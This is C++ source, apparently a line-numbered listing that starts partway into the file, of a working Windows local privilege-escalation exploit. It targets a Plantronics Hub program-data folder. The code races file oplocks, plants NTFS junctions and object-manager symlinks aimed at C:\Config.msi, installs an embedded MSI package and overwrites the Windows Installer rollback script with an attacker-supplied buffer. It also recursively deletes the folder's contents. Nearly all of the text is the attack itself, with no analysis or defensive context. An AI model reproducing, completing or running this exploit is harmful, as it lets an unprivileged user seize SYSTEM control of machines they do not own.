{ 0x0 }; 28 | 29 | DWORD WINAPI Install(void*); 30 | BOOL Move(HANDLE hFile); 31 | void callback(); 32 | HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion); 33 | LPWSTR BuildPath(LPCWSTR path); 34 | void load(); 35 | BOOL CreateJunction(LPCWSTR dir, LPCWSTR target); 36 | VOID Fail(); 37 | VOID cb1(); 38 | VOID cb0(); 39 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target); 40 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target); 41 | LPWSTR FindDirectory(); 42 | BOOL DeleteJunction(LPCWSTR dir); 43 | void Trigger(); 44 | void Bait(LPWSTR file); 45 | 46 | 47 | int wmain() 48 | { 49 | load(); 50 | 51 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); 52 | if (hFile == INVALID_HANDLE_VALUE) 53 | { 54 | printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n"); 55 | Install(NULL); 56 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); 57 | if (hFile != INVALID_HANDLE_VALUE) 58 | { 59 | printf("[+] Successfully removed and recreated C:\\Config.Msi.\n"); 60 | } 61 | else 62 | { 63 | printf("[!] Failed. Cannot remove c:\\Config.msi"); 64 | return 1; 65 | } 66 | } 67 | if (!PathIsDirectoryEmpty(L"C:\\Config.Msi")) 68 | { 69 | printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n"); 70 | return 1; 71 | } 72 | 73 | printf("[+] Config.msi directory created!\n"); 74 | CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Trigger, NULL, NULL, NULL); 75 | SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); 76 | SetThreadPriorityBoost(GetCurrentThread(), TRUE); // This lets us maintain express control of our priority 77 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); 78 | oplock = FileOpLock::CreateLock(hFile, callback); 79 | if (oplock != nullptr) { 80 | 81 | oplock->WaitForLock(INFINITE); 82 | delete oplock; 83 | } 84 | do { 85 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF); 86 | } while (!hFile); 87 | char buff[4096]; 88 | DWORD retbt = 0; 89 | FILE_NOTIFY_INFORMATION* fn; 90 | WCHAR* extension; 91 | WCHAR* extension2; 92 | do { 93 | ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, 94 | &retbt, NULL, NULL); 95 | fn = (FILE_NOTIFY_INFORMATION*)buff; 96 | size_t sz = fn->FileNameLength / sizeof(WCHAR); 97 | fn->FileName[sz] = '\0'; 98 | extension = fn->FileName; 99 | PathCchFindExtension(extension, MAX_PATH, &extension2); 100 | } while (wcscmp(extension2, L".rbs") != 0); 101 | 102 | SetSecurityInfo(hFile, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL); 103 | while (!Move(hFile)) { 104 | 105 | } 106 | HANDLE cfg_h = myCreateDirectory(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE); 107 | WCHAR rbsfile[MAX_PATH]; 108 | _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName); 109 | HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 110 | if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { 111 | printf("[+] Rollback script overwritten!\n"); 112 | 113 | } 114 | else 115 | { 116 | printf("[!] Failed to overwrite rbs file!\n"); 117 | } 118 | CloseHandle(rbs); 119 | CloseHandle(cfg_h); 120 | DeleteJunction(dir); 121 | DelDosDeviceSymLink(L"GLOBAL\\GLOBALROOT\\RPC Control\\MajorUpgrade.config", L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION"); 122 | return 0; 123 | 124 | } 125 | 126 | 127 | DWORD WINAPI Install(void*) { 128 | HMODULE hm = GetModuleHandle(NULL); 129 | HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_MSI1), L"msi"); 130 | wchar_t msipackage[MAX_PATH] = { 0x0 }; 131 | GetTempFileName(L"C:\\windows\\temp\\", L"MSI", 0, msipackage); 132 | printf("[*] MSI file: %ls\n", msipackage); 133 | DWORD MsiSize = SizeofResource(hm, res); 134 | void* MsiBuff = LoadResource(hm, res); 135 | HANDLE pkg = CreateFile(msipackage, GENERIC_WRITE | WRITE_DAC, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 136 | WriteFile(pkg, MsiBuff, MsiSize, NULL, NULL); 137 | CloseHandle(pkg); 138 | MsiSetInternalUI(INSTALLUILEVEL_NONE, NULL); 139 | UINT a = MsiInstallProduct(msipackage, L"ACTION=INSTALL"); 140 | printf("%d\n", a); 141 | MsiInstallProduct(msipackage, L"REMOVE=ALL"); 142 | DeleteFile(msipackage); 143 | return 0; 144 | } 145 | 146 | 147 | BOOL Move(HANDLE hFile) { 148 | if (hFile == INVALID_HANDLE_VALUE) { 149 | printf("[!] Invalid handle!\n"); 150 | return FALSE; 151 | } 152 | wchar_t tmpfile[MAX_PATH] = { 0x0 }; 153 | RPC_WSTR str_uuid; 154 | UUID uuid = { 0 }; 155 | UuidCreate(&uuid); 156 | UuidToString(&uuid, &str_uuid); 157 | _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); 158 | size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); 159 | FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); 160 | IO_STATUS_BLOCK io = { 0 }; 161 | rename_info->ReplaceIfExists = TRUE; 162 | rename_info->RootDirectory = NULL; 163 | rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; 164 | rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); 165 | memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); 166 | NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); 167 | if (status != 0) { 168 | return FALSE; 169 | } 170 | return TRUE; 171 | } 172 | 173 | 174 | void callback() { 175 | 176 | SetThreadPriority(GetCurrentThread(), REALTIME_PRIORITY_CLASS); 177 | Move(hFile); 178 | 179 | hthread = CreateThread(NULL, NULL, Install, NULL, NULL, NULL); 180 | HANDLE hd; 181 | do { 182 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); 183 | } while (!hd); 184 | do { 185 | CloseHandle(hd); 186 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); 187 | } while (hd); 188 | CloseHandle(hd); 189 | do { 190 | hd = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN); 191 | 192 | CloseHandle(hd); 193 | } while (retcode != 0xC0000022); 194 | 195 | } 196 | 197 | 198 | HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { 199 | UNICODE_STRING ufile; 200 | HANDLE hDir; 201 | pRtlInitUnicodeString(&ufile, file); 202 | OBJECT_ATTRIBUTES oa = { 0 }; 203 | IO_STATUS_BLOCK io = { 0 }; 204 | InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); 205 | 206 | retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); 207 | 208 | if (!NT_SUCCESS(retcode)) { 209 | return NULL; 210 | } 211 | return hDir; 212 | } 213 | 214 | 215 | LPWSTR BuildPath(LPCWSTR path) { 216 | wchar_t ntpath[MAX_PATH]; 217 | swprintf(ntpath, L"\\??\\%s", path); 218 | return ntpath; 219 | } 220 | 221 | 222 | void load() { 223 | HMODULE ntdll = LoadLibraryW(L"ntdll.dll"); 224 | if (ntdll != NULL) { 225 | pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); 226 | pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); 227 | pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); 228 | 229 | } 230 | if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL) { 231 | printf("Cannot load api's %d\n", GetLastError()); 232 | exit(0); 233 | } 234 | 235 | } 236 | 237 | 238 | BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) { 239 | HANDLE hJunction; 240 | DWORD cb; 241 | wchar_t printname[] = L""; 242 | HANDLE hDir; 243 | hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); 244 | 245 | if (hDir == INVALID_HANDLE_VALUE) { 246 | printf("[!] Failed to obtain handle on directory %ls.\n", dir); 247 | return FALSE; 248 | } 249 | 250 | SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); 251 | SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); 252 | SIZE_T PathLen = TargetLen + PrintnameLen + 12; 253 | SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); 254 | PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); 255 | Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 256 | Data->ReparseDataLength = PathLen; 257 | Data->Reserved = 0; 258 | Data->MountPointReparseBuffer.SubstituteNameOffset = 0; 259 | Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; 260 | memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); 261 | Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); 262 | Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; 263 | memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); 264 | 265 | if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) 266 | { 267 | printf("[+] Junction %ls -> %ls created!\n", dir, target); 268 | free(Data); 269 | return TRUE; 270 | 271 | } 272 | else 273 | { 274 | printf("[!] Error: %d. Exiting\n", GetLastError()); 275 | free(Data); 276 | return FALSE; 277 | } 278 | } 279 | 280 | 281 | BOOL DeleteJunction(LPCWSTR path) { 282 | REPARSE_GUID_DATA_BUFFER buffer = { 0 }; 283 | BOOL ret; 284 | buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; 285 | DWORD cb = 0; 286 | IO_STATUS_BLOCK io; 287 | 288 | 289 | HANDLE hDir; 290 | hDir = CreateFile(path, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL); 291 | 292 | if (hDir == INVALID_HANDLE_VALUE) { 293 | printf("[!] Failed to obtain handle on directory %ls.\n", path); 294 | printf("%d\n", GetLastError()); 295 | return FALSE; 296 | } 297 | ret = DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL); 298 | if (ret == 0) { 299 | printf("Error: %d\n", GetLastError()); 300 | return FALSE; 301 | } 302 | else 303 | { 304 | printf("[+] Junction %ls delete!\n", dir); 305 | return TRUE; 306 | } 307 | } 308 | 309 | 310 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { 311 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { 312 | printf("[+] Symlink %ls -> %ls created!\n", object, target); 313 | return TRUE; 314 | 315 | } 316 | else 317 | { 318 | printf("error :%d\n", GetLastError()); 319 | return FALSE; 320 | 321 | } 322 | } 323 | 324 | 325 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { 326 | if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { 327 | printf("[+] Symlink %ls -> %ls deleted!\n", object, target); 328 | return TRUE; 329 | } 330 | else 331 | { 332 | printf("error :%d\n", GetLastError()); 333 | return FALSE; 334 | } 335 | } 336 | 337 | 338 | VOID cb0() { 339 | printf("[+] Oplock 1 triggered!\n"); 340 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fail, NULL, 0, NULL); 341 | if (!Move(hFile2)) { 342 | exit(1); 343 | } 344 | if (!CreateJunction(BuildPath(dir), L"\\RPC Control")) { 345 | printf("[!] Exiting!\n"); 346 | exit(1); 347 | } 348 | if (!DosDeviceSymLink(L"GLOBAL\\GLOBALROOT\\RPC Control\\MajorUpgrade.config", L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION")) { 349 | printf("[!] Exiting!\n"); 350 | exit(1); 351 | } 352 | 353 | } 354 | 355 | void DeleteContentsRecursively(const std::wstring& path) { 356 | WIN32_FIND_DATAW findFileData; 357 | HANDLE hFind = INVALID_HANDLE_VALUE; 358 | std::wstring searchPath = path + L"\\*"; 359 | 360 | hFind = FindFirstFileW(searchPath.c_str(), &findFileData); 361 | 362 | if (hFind != INVALID_HANDLE_VALUE) { 363 | do { 364 | if ((wcscmp(findFileData.cFileName, L".") != 0) && (wcscmp(findFileData.cFileName, L"..") != 0)) { 365 | std::wstring filePath = path + L"\\" + findFileData.cFileName; 366 | if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { 367 | DeleteContentsRecursively(filePath); 368 | RemoveDirectoryW(filePath.c_str()); 369 | wprintf(L"Deleted folder: %ls\n", filePath.c_str()); 370 | } 371 | else { 372 | if (DeleteFileW(filePath.c_str())) { 373 | wprintf(L"Deleted file: %ls\n", filePath.c_str()); 374 | } 375 | else { 376 | wprintf(L"Failed to delete file: %ls\n", filePath.c_str()); 377 | } 378 | } 379 | } 380 | } while (FindNextFileW(hFind, &findFileData) != 0); 381 | FindClose(hFind); 382 | } 383 | else { 384 | wprintf(L"Error opening directory: %ls\n", path.c_str()); 385 | } 386 | } 387 | 388 | 389 | void Trigger() { 390 | _swprintf(dir, L"C:\\ProgramData\\Plantronics\\Spokes3G"); 391 | _swprintf(file, L"%s\\MajorUpgrade.config", dir); 392 | DeleteContentsRecursively(dir); 393 | 394 | FileOpLock* oplock; 395 | do { 396 | hFile2 = CreateFile(file, GENERIC_READ | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_FLAG_OVERLAPPED, NULL); 397 | } while (hFile2 == INVALID_HANDLE_VALUE); 398 | 399 | 400 | printf("[+] File %ls created!\n", file); 401 | oplock = FileOpLock::CreateLock(hFile2, cb0); 402 | if (oplock != nullptr) { 403 | oplock->WaitForLock(INFINITE); 404 | delete oplock; 405 | } 406 | } 407 | 408 | 409 | VOID Fail() { 410 | for (int i = 0; i < 3; i++) { 411 | Sleep(1000); 412 | } 413 | printf("[!] Race condtion failed!\n"); 414 | DeleteJunction(dir); 415 | DelDosDeviceSymLink(L"GLOBAL\\GLOBALROOT\\RPC Control\\MajorUpgrade.config", L"\\??\\C:\\Config.msi::$INDEX_ALLOCATION"); 416 | exit(1); 417 | } --------------------------------------------------------------------------------